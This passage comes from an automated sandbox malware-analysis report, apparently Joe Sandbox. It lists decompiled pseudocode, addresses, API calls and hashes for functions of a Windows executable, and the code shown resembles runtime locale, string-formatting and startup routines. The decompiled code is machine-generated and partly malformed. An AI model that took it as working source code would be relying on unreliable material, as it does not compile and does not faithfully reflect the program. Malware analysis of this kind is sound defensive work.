								if(_t268 - 0x30 > 9) {
									goto L9;
								}
								__eflags = _t216 - 0x2f;
								if(_t216 <= 0x2f) {
									goto L9;
								}
								_t277 = 0;
								goto L16;
							}
							_t269 = _v80;
							_t277 = _t288 + _t214 - _v64;
							 *_t277 =  *(_t269 + 0x24) & 0x000000ff;
							if( *((char*)(_t269 + 0x10)) != 0) {
								goto L16;
							}
							goto L9;
						}
						L23:
						_t299 = _v64;
						_v132 = _t288;
						_v140 = _t299;
						_v136 = _t299 + _t252;
						 *_t221();
						_t252 = _v52;
						_t303 = _t303 - 0xc;
						_t296 = _t252;
						goto L6;
					}
					_t221 =  *((intOrPtr*)( *_t274 + 0x1c));
					if(_t221 != 0x451cf0) {
						goto L23;
					}
					goto L5;
				}
			}

0x00475f3f
0x00475f48
0x00475f4e
0x00475f51
0x00475f57
0x00475f5d
0x00475f60
0x00475f68
0x00475f6e
0x00475f7b
0x00475f86
0x00475f8a
0x00475f8d
0x00475f90
0x00475f94
0x00475f99
0x00475fb1
0x00475fba
0x00475fbd
0x00475fc3
0x00476255
0x0047625a
0x00476260
0x00476264
0x0047626a
0x00476272
0x00476276
0x00476279
0x0047627d
0x00476282
0x00476285
0x00476288
0x0047628e
0x00476297
0x004762a2
0x004762ab
0x004762ae
0x004762b9
0x004762bd
0x004762c3
0x004762c7
0x004762cb
0x004762ce
0x004762d7
0x004762d7
0x00475fc9
0x00475fc9
0x00475fd1
0x00475fd5
0x00475fdb
0x00475fdf
0x00475fe6
0x00475fee
0x00475ff1
0x00475ff5
0x00475ffa
0x00475ffd
0x00476000
0x00476100
0x00476109
0x00476114
0x0047611d
0x00476120
0x0047612b
0x0047612f
0x00476135
0x00476139
0x00476140
0x00476144
0x00476147
0x00476150
0x00476150
0x00476000
0x00476009
0x0047600e
0x00476011
0x00476016
0x00476023
0x00476025
0x0047602d
0x00476030
0x00476035
0x0047638e
0x00000000
0x0047603b
0x0047603d
0x004762e2
0x004762e5
0x004762ea
0x004762ef
0x004762f2
0x004762f7
0x00476053
0x00476061
0x00476066
0x00476069
0x0047606b
0x0047606d
0x00476160
0x00476163
0x00476167
0x004760ab
0x004760ae
0x004760b3
0x0047620b
0x00476219
0x00476222
0x00476226
0x00476228
0x00476230
0x00476233
0x00476237
0x0047623e
0x00476242
0x00476245
0x0047624a
0x0047624d
0x0047624d
0x004760b9
0x004760bc
0x004760c3
0x004760c6
0x004760ca
0x004760d4
0x004760d8
0x004760db
0x004760e8
0x004760e8
0x004760f9
0x004760f9
0x0047616d
0x0047616d
0x0047616d
0x0047616f
0x00476184
0x0047618d
0x00476190
0x00476196
0x00476370
0x00476372
0x0047619c
0x004761a2
0x004761a2
0x004761a5
0x004761aa
0x004761ad
0x004761af
0x004761b2
0x004761b2
0x004761b5
0x004761be
0x004761c5
0x004761c9
0x004761cc
0x004761d0
0x004761d8
0x004761df
0x004761e6
0x004761e9
0x004761f1
0x004761f4
0x004761f7
0x004761fa
0x00476200
0x00476203
0x00476205
0x00000000
0x00000000
0x00000000
0x00000000
0x00476205
0x00476085
0x0047608c
0x00476320
0x00476323
0x00476327
0x00000000
0x00000000
0x0047632d
0x00476330
0x00000000
0x00000000
0x00476336
0x00476339
0x0047633d
0x0047633f
0x00000000
0x00000000
0x00476345
0x0047634c
0x0047634f
0x00476352
0x00000000
0x00000000
0x00476358
0x0047635a
0x00000000
0x00000000
0x00476360
0x00000000
0x00476360
0x00476092
0x00476098
0x0047609f
0x004760a5
0x00000000
0x00000000
0x00000000
0x004760a5
0x004762fd
0x004762fd
0x00476300
0x00476308
0x0047630b
0x0047630f
0x00476311
0x00476314
0x00476317
0x00000000
0x00476317
0x00476045
0x0047604d
0x00000000
0x00000000
0x00000000
0x0047604d

APIs

memcpy.MSVCRT ref: 00476061
memchr.MSVCRT ref: 00476085

Part of subcall function 004BDE30: setlocale.MSVCRT ref: 004BDE4A

Strings

., xrefs: 0047607A
-, xrefs: 0047626A

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: ff04c20d6e5d588aeb5d10914408b1d7020a121ebc9ded10f0ba2e9d7c07d04b
Instruction ID: f02aa1aa3a5d1e0d5d3e1e47eb75373b45aa1f5075ca2562ccc785a878d7f716
Opcode Fuzzy Hash: ff04c20d6e5d588aeb5d10914408b1d7020a121ebc9ded10f0ba2e9d7c07d04b
Instruction Fuzzy Hash: 13D136B0D047598FCB00DFA9C48059EBBF1BF88314F05896EE898AB356D738D945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004763A0 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 313
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E004763A0(intOrPtr __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, void* _a12, char _a16, void* _a20) {
				void* _v16;
				char _v44;
				char _v48;
				int _v52;
				void* _v53;
				void* _v64;
				void* _v68;
				intOrPtr* _v72;
				intOrPtr _v76;
				void* _v77;
				intOrPtr _v80;
				void* _v81;
				intOrPtr _v84;
				char _v88;
				signed int _v92;
				int* _v100;
				int _v104;
				int _v108;
				char* _v112;
				void* _v116;
				void* _v120;
				void* _v124;
				intOrPtr _t159;
				char _t165;
				int _t167;
				signed int _t168;
				signed int _t173;
				intOrPtr _t176;
				intOrPtr _t187;
				signed int _t197;
				intOrPtr _t199;
				void* _t204;
				intOrPtr _t205;
				signed int _t206;
				intOrPtr* _t211;
				char _t222;
				char _t225;
				int _t228;
				char _t235;
				int _t240;
				void* _t241;
				int _t242;
				int _t243;
				intOrPtr _t244;
				signed int _t245;
				signed int _t246;
				void* _t257;
				signed int _t258;
				intOrPtr _t259;
				char* _t267;
				void* _t278;
				signed int _t280;
				void* _t285;
				int _t286;
				void* _t288;
				void* _t289;
				void* _t290;
				intOrPtr* _t291;
				void* _t292;
				void* _t293;
				void* _t295;

				_v84 = __ecx;
				_v72 = _a4;
				_v80 = _a8;
				_v88 = _a16;
				_t276 = _a12 + 0x6c;
				_v124 = _a12 + 0x6c;
				_v76 = E0044E1C0(__eflags);
				_t291 = _t290 - 4;
				_t240 =  <  ? 6 :  *((intOrPtr*)(_a12 + 4));
				_v120 = _a20;
				_t285 =  &_v44;
				 *_t291 = _a12;
				_v124 = _t285;
				E0048DE20();
				_t159 = _a12;
				_t292 = _t291 - E004386A0(0x50);
				_v64 =  &_v81 & 0xfffffff0;
				_t298 = ( *(_t159 + 0xc) & 0x00000104) - 0x104;
				if(( *(_t159 + 0xc) & 0x00000104) == 0x104) {
					_t165 = E004AF100();
					_t241 =  &_v48;
					_v112 = _t285;
					_v48 = _t165;
					_v116 = 0x36;
					[tword [esp+0x10] = [tword [ebp+0x1c];
					_v120 = _v64;
					_v124 = _t241;
					_t167 = E004BDE30(_v64, __eflags);
					_v52 = _t167;
					__eflags = _t167 - 0x35;
					if(__eflags > 0) {
						_t121 = _t167 + 1; // 0x1
						_v68 = _t121;
						_t292 = _t292 - E004386A0(_t167 + 0x1c >> 4 << 4);
						_v64 =  &_v77 & 0xfffffff0;
						_t222 = E004AF100();
						_v112 = _t285;
						_v48 = _t222;
						_v116 = _v68;
						[tword [esp+0x10] = [tword [ebp+0x1c];
						_v120 = _v64;
						_v124 = _t241;
						_v52 = E004BDE30(_v64, __eflags);
					}
				} else {
					_t225 = E004AF100();
					_v108 = _t240;
					_v48 = _t225;
					_v112 = _t285;
					[tword [esp+0x14] = [tword [ebp+0x1c];
					_v120 = _v64;
					_v116 = 0x36;
					_v124 =  &_v48;
					_t228 = E004BDE30( &_v48, _t298);
					_v52 = _t228;
					_t299 = _t228 - 0x35;
					if(_t228 > 0x35) {
						_t60 = _t228 + 1; // 0x1
						_v68 = _t60;
						_t292 = _t292 - E004386A0(_t228 + 0x1c >> 4 << 4);
						_v64 =  &_v77 & 0xfffffff0;
						_t235 = E004AF100();
						_v108 = _t240;
						_v48 = _t235;
						_v112 = _t285;
						[tword [esp+0x14] = [tword [ebp+0x1c];
						_v120 = _v64;
						_v116 = _v68;
						_v124 =  &_v48;
						_v52 = E004BDE30( &_v48, __eflags);
					}
				}
				_t168 = E004C0920(_t299, _t276);
				_t242 = _v52;
				_t264 = _t168;
				_t286 = _t242;
				_t293 = _t292 - E004386A0(_t242 + 0x1b >> 4 << 4);
				_t173 =  *(_t264 + 0x1c) & 0x000000ff;
				_t278 =  &_v77 & 0xfffffff0;
				_v68 = _t278;
				if(_t173 == 1) {
					memcpy(_t278, _v64, _t242);
					goto L6;
				} else {
					if(_t173 == 0) {
						_v92 = _t264;
						E00451A70(_t264);
						_t264 = _v92;
						_t211 =  *((intOrPtr*)( *_v92 + 0x1c));
						__eflags = _t211 - 0x451cf0;
						if(_t211 == 0x451cf0) {
							L5:
							memcpy(_t278, _v64, _t242);
							_t242 = _v52;
							_t286 = _t242;
							L6:
							if(_t242 == 0) {
								_t176 = _v76;
								__eflags =  *((char*)(_t176 + 0x10));
								if( *((char*)(_t176 + 0x10)) == 0) {
									L9:
									_t243 =  *(_a12 + 8);
									if(_t243 > _t286) {
										L19:
										_t293 = _t293 - E004386A0(_t243 + 0x1b >> 4 << 4);
										_v104 = _t286;
										_t286 = _t243;
										_v112 = _v68;
										_t280 =  &_v77 & 0xfffffff0;
										_v108 = _t243;
										_v120 = _v88;
										_v116 = _t280;
										_v124 = _a12;
										E004AC250();
										_v52 = _t243;
										_v68 = _t280;
									}
									L10:
									 *(_a12 + 8) = 0;
									_t187 = _v80;
									_t244 = _t187;
									if(_t187 == 0) {
										_v120 = _t286;
										_v124 = _v68;
										 *((intOrPtr*)( *_v72 + 0x30))();
										_t244 =  !=  ? 1 : _t244;
									}
									return _v72;
								}
								L15:
								_t267 = 0;
								__eflags = 0;
								L16:
								_t295 = _t293 - E004386A0(_t242 + _t242 + 0x1b >> 4 << 4);
								_t197 =  &_v77 & 0xfffffff0;
								__eflags = ( *_v64 & 0x000000ff) - 0x0000002b & 0x000000fd;
								if((( *_v64 & 0x000000ff) - 0x0000002b & 0x000000fd) != 0) {
									_t245 = _t197;
									_t288 = 0;
								} else {
									_t246 = _t242 - 1;
									__eflags = _t246;
									_t288 = 1;
									_v68 = _t278 + 1;
									 *_t197 =  *_t278 & 0x000000ff;
									_v52 = _t246;
									_t245 = _t197 + 1;
								}
								_v64 = _t197;
								_v100 =  &_v52;
								_v104 = _v68;
								_t199 = _v76;
								_v108 = _t245;
								_v112 = _t267;
								_v116 =  *((char*)(_t199 + 0x25));
								_v120 =  *((intOrPtr*)(_t199 + 0xc));
								_v124 =  *((intOrPtr*)(_t199 + 8));
								E00475E70();
								_t286 = _t288 + _v52;
								_t293 = _t295 - 0x1c;
								_v52 = _t286;
								_v68 = _v64;
								_t243 =  *(_a12 + 8);
								__eflags = _t243 - _t286;
								if(_t243 <= _t286) {
									goto L10;
								} else {
									goto L19;
								}
							}
							_t204 = memchr(_v64, 0x2e, _t242);
							if(_t204 == 0) {
								_t205 = _v76;
								__eflags =  *((char*)(_t205 + 0x10));
								if( *((char*)(_t205 + 0x10)) == 0) {
									goto L9;
								}
								__eflags = _t242 - 2;
								if(_t242 <= 2) {
									goto L15;
								}
								_t257 = _v64;
								_t206 =  *(_t257 + 1) & 0x000000ff;
								__eflags = _t206 - 0x39;
								if(_t206 > 0x39) {
									goto L9;
								}
								_t258 =  *(_t257 + 2) & 0x000000ff;
								_v92 = _t258;
								__eflags = _t258 - 0x30 - 9;
								if(_t258 - 0x30 > 9) {
									goto L9;
								}
								__eflags = _t206 - 0x2f;
								if(_t206 <= 0x2f) {
									goto L9;
								}
								_t267 = 0;
								goto L16;
							}
							_t259 = _v76;
							_t267 = _t278 + _t204 - _v64;
							 *_t267 =  *(_t259 + 0x24) & 0x000000ff;
							if( *((char*)(_t259 + 0x10)) != 0) {
								goto L16;
							}
							goto L9;
						}
						L23:
						_t289 = _v64;
						_v116 = _t278;
						_v124 = _t289;
						_v120 = _t289 + _t242;
						 *_t211();
						_t242 = _v52;
						_t293 = _t293 - 0xc;
						_t286 = _t242;
						goto L6;
					}
					_t211 =  *((intOrPtr*)( *_t264 + 0x1c));
					if(_t211 != 0x451cf0) {
						goto L23;
					}
					goto L5;
				}
			}

0x004763af
0x004763b5
0x004763bb
0x004763c1
0x004763c7
0x004763ca
0x004763d2
0x004763d8
0x004763e5
0x004763f0
0x004763f4
0x004763f7
0x004763fa
0x004763fe
0x00476403
0x0047641b
0x00476424
0x00476427
0x0047642d
0x004766c5
0x004766cd
0x004766d0
0x004766d4
0x004766da
0x004766e2
0x004766e6
0x004766ea
0x004766ed
0x004766f2
0x004766f5
0x004766f8
0x004766fe
0x00476707
0x00476712
0x0047671b
0x0047671e
0x00476729
0x0047672d
0x00476733
0x00476737
0x0047673b
0x0047673f
0x00476747
0x00476747
0x00476433
0x00476433
0x0047643b
0x0047643f
0x00476445
0x00476449
0x0047644d
0x00476454
0x0047645c
0x0047645f
0x00476464
0x00476467
0x0047646a
0x00476570
0x00476579
0x00476584
0x0047658d
0x00476590
0x0047659b
0x0047659f
0x004765a5
0x004765a9
0x004765ad
0x004765b4
0x004765b8
0x004765c0
0x004765c0
0x0047646a
0x00476473
0x00476478
0x0047647b
0x00476480
0x0047648d
0x0047648f
0x00476497
0x0047649a
0x0047649f
0x004767fe
0x00000000
0x004764a5
0x004764a7
0x00476752
0x00476755
0x0047675a
0x0047675f
0x00476762
0x00476767
0x004764bd
0x004764cb
0x004764d0
0x004764d3
0x004764d5
0x004764d7
0x004765d0
0x004765d3
0x004765d7
0x00476515
0x00476518
0x0047651d
0x0047667b
0x00476689
0x00476692
0x00476696
0x00476698
0x004766a0
0x004766a3
0x004766a7
0x004766ae
0x004766b2
0x004766b5
0x004766ba
0x004766bd
0x004766bd
0x00476523
0x00476526
0x0047652d
0x00476530
0x00476534
0x0047653e
0x00476542
0x00476545
0x00476552
0x00476552
0x00476563
0x00476563
0x004765dd
0x004765dd
0x004765dd
0x004765df
0x004765f4
0x004765fd
0x00476600
0x00476606
0x004767e0
0x004767e2
0x0047660c
0x00476612
0x00476612
0x00476615
0x0047661a
0x0047661d
0x0047661f
0x00476622
0x00476622
0x00476625
0x0047662e
0x00476635
0x00476639
0x0047663c
0x00476640
0x00476648
0x0047664f
0x00476656
0x00476659
0x00476661
0x00476664
0x00476667
0x0047666a
0x00476670
0x00476673
0x00476675
0x00000000
0x00000000
0x00000000
0x00000000
0x00476675
0x004764ef
0x004764f6
0x00476790
0x00476793
0x00476797
0x00000000
0x00000000
0x0047679d
0x004767a0
0x00000000
0x00000000
0x004767a6
0x004767a9
0x004767ad
0x004767af
0x00000000
0x00000000
0x004767b5
0x004767bc
0x004767bf
0x004767c2
0x00000000
0x00000000
0x004767c8
0x004767ca
0x00000000
0x00000000
0x004767d0
0x00000000
0x004767d0
0x004764fc
0x00476502
0x00476509
0x0047650f
0x00000000
0x00000000
0x00000000
0x0047650f
0x0047676d
0x0047676d
0x00476770
0x00476778
0x0047677b
0x0047677f
0x00476781
0x00476784
0x00476787
0x00000000
0x00476787
0x004764af
0x004764b7
0x00000000
0x00000000
0x00000000
0x004764b7

APIs

memcpy.MSVCRT ref: 004764CB
memchr.MSVCRT ref: 004764EF

Part of subcall function 004BDE30: setlocale.MSVCRT ref: 004BDE4A

Strings

6, xrefs: 004766DA
., xrefs: 004764E4

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: 74319fb95f721da7d2052534f8a2e2cf07acfb30fffc82e967858916b43e63b7
Instruction ID: 9772a8ce323e5fd2c1723a96908cfc8c6d5d20d24e0bd22345961a84c932f0bc
Opcode Fuzzy Hash: 74319fb95f721da7d2052534f8a2e2cf07acfb30fffc82e967858916b43e63b7
Instruction Fuzzy Hash: 94D145B09087199FCB04DFA9C48059EBBF1BF88314F058A6EE898A7356D738D905CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004BDAB0 Relevance: 7.6, APIs: 5, Instructions: 78stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004BDACA
strlen.MSVCRT ref: 004BDAD4
memcpy.MSVCRT ref: 004BDAF1
setlocale.MSVCRT ref: 004BDB05
setlocale.MSVCRT ref: 004BDB5D

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 21ea581d21cb072692865232bb5274ceed8d27b9fe053654b66af00830a2dd7d
Instruction ID: 9615b9d2bdcc690f2553332761463a579f1f8587ed2fb7f957e594a7094a897c
Opcode Fuzzy Hash: 21ea581d21cb072692865232bb5274ceed8d27b9fe053654b66af00830a2dd7d
Instruction Fuzzy Hash: DC315EB190D701ABD301BF15D48069ABBF0FB44344F128C9EF4C887361EB3A98559B9A

Uniqueness

Uniqueness Score: -1.00%

Function 004BDBD0 Relevance: 7.6, APIs: 5, Instructions: 75stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004BDBEA
strlen.MSVCRT ref: 004BDBF4
memcpy.MSVCRT ref: 004BDC11
setlocale.MSVCRT ref: 004BDC25
setlocale.MSVCRT ref: 004BDC80

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 867c057f355a8565939eb3e9a678625646b502af749d014fee592d844a4c27b7
Instruction ID: e4941a2b87c35e4bcc34bf85f8a87c40bdb4e741b10ad2d83bb85539e3cf77d3
Opcode Fuzzy Hash: 867c057f355a8565939eb3e9a678625646b502af749d014fee592d844a4c27b7
Instruction Fuzzy Hash: B5213CB190C341AAD302BF25D88069EBFF0AB41744F118C9EE4C987361F77A8855DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004BDCE0 Relevance: 7.6, APIs: 5, Instructions: 71stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004BDCFA
strlen.MSVCRT ref: 004BDD04
memcpy.MSVCRT ref: 004BDD21
setlocale.MSVCRT ref: 004BDD35
setlocale.MSVCRT ref: 004BDD8D

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: bf332e081284b34b0d55e96784412071f9c545ac246c9087e89a4eeae1889def
Instruction ID: 8ff34d73c8efee4a2ec4959d070870deb96381efb7439fcaf1fe964e3b36d497
Opcode Fuzzy Hash: bf332e081284b34b0d55e96784412071f9c545ac246c9087e89a4eeae1889def
Instruction Fuzzy Hash: 5E2169B190C301AFD342BF26D88079ABBF4EB45744F118C5EF4C887361E73989558BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B150 Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E0043B150(void* __eax, CHAR* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				void* _v0;
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v80;
				void* _v84;
				void _v156;
				char _v284;
				char _v288;
				void* _v312;
				char* _v356;
				intOrPtr* __ebp;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t40;
				_Unknown_base(*)()* _t41;
				struct HINSTANCE__* _t46;
				_Unknown_base(*)()* _t54;
				void* _t57;
				void* _t61;
				intOrPtr* _t62;
				char** _t64;
				char** _t65;
				struct HINSTANCE__** _t67;
				struct HINSTANCE__** _t68;

				_t52 = __esi;
				_t48 = __edi;
				_t43 = __ebx;
				_t57 = _t61;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_push(__edx);
				_push(__eax);
				_t62 = _t61 - 0x124;
				if( *((intOrPtr*)(_a4 + 0xc)) == 0) {
					 *_t62 = _a4;
					return E0043AEB0(_a4, __ebx, __edx, __edi, __esi);
				} else {
					__ebx =  &_v284;
					__ecx = _v0;
					__edx =  &_a4;
					__eax = __ebx;
					__edi =  &_v156;
					__esi = __ebx;
					E0043A660(__ebx, _v0,  &_a4) = _a4;
					__ecx = 0x20;
					__edx =  &_v156;
					__eax = memcpy( &_v156, __esi, 0x20 << 2);
					__esi + __ecx = __esi + __ecx + __ecx;
					__ecx = 0;
					__ecx =  &_v288;
					if(__eax != 7) {
						abort();
						abort();
						abort();
						abort();
						abort();
						_push(_t57);
						_t64 = _t62 - 0x1c;
						 *_t64 = "libgcc_s_dw2-1.dll";
						_t37 = GetModuleHandleA(_t43);
						_t65 = _t64 - 4;
						if(_t37 == 0) {
							 *0x4ce004 = 0x43c7d0;
							_t54 = 0x43c580;
						} else {
							_t46 = _t37;
							 *_t65 = "libgcc_s_dw2-1.dll";
							_t40 = LoadLibraryA(??);
							_t67 = _t65 - 4;
							 *0x57ddf0 = _t40;
							_v356 = "__register_frame_info";
							 *_t67 = _t46;
							_t41 = GetProcAddress(??, ??);
							_t68 = _t67 - 8;
							_t54 = _t41;
							_v356 = "__deregister_frame_info";
							 *_t68 = _t46;
							 *0x4ce004 = GetProcAddress(??, ??);
							_t65 = _t68 - 8;
						}
						if(_t54 != 0) {
							_v356 = 0x57d01c;
							 *_t65 = 0x5400f8;
							 *_t54();
						}
						 *_t65 = E00401590;
						return E004014C0();
					} else {
						__edx =  &_v156;
						__eax = __ebx;
						__eax = E0043AAC0(__ebx,  &_v156);
						__ebx = _v80;
						__edx = __eax;
						__eax = _v84;
						_v312 = __ebx;
						 *__esp = __eax;
						__eax = E0043AEA0(__eax);
						__ecx = __edx;
						 *(__ebp + __edx + 4) = __ebx;
						__eax = _v24;
						__ecx = __ebp + __edx + 4;
						__edx = _v20;
						__ebx = _v16;
						__esi = _v12;
						__edi = _v8;
						__ebp =  *__ebp;
						__esp = __ecx;
						return _v24;
					}
				}
			}

0x0043b150
0x0043b150
0x0043b150
0x0043b151
0x0043b153
0x0043b154
0x0043b155
0x0043b156
0x0043b157
0x0043b158
0x0043b166
0x0043b1f3
0x0043b205
0x0043b16c
0x0043b16c
0x0043b172
0x0043b175
0x0043b178
0x0043b17a
0x0043b180
0x0043b187
0x0043b18a
0x0043b18f
0x0043b195
0x0043b195
0x0043b195
0x0043b197
0x0043b1a5
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043b1ab
0x0043b1ab
0x0043b1b1
0x0043b1b3
0x0043b1b8
0x0043b1bb
0x0043b1bd
0x0043b1c0
0x0043b1c4
0x0043b1c7
0x0043b1cc
0x0043b1ce
0x0043b1d2
0x0043b1d5
0x0043b1d9
0x0043b1dc
0x0043b1df
0x0043b1e2
0x0043b1e5
0x0043b1e8
0x0043b1ea
0x0043b1ea
0x0043b1a5

APIs

abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ba1a1b08f6e100426309d20b2d21870daea563b49f9ac42d4944752a65ffcd9e
Instruction ID: 69db05fca74e517a74257b1e8a991673022586160402c8a47a2f411be6ca4363
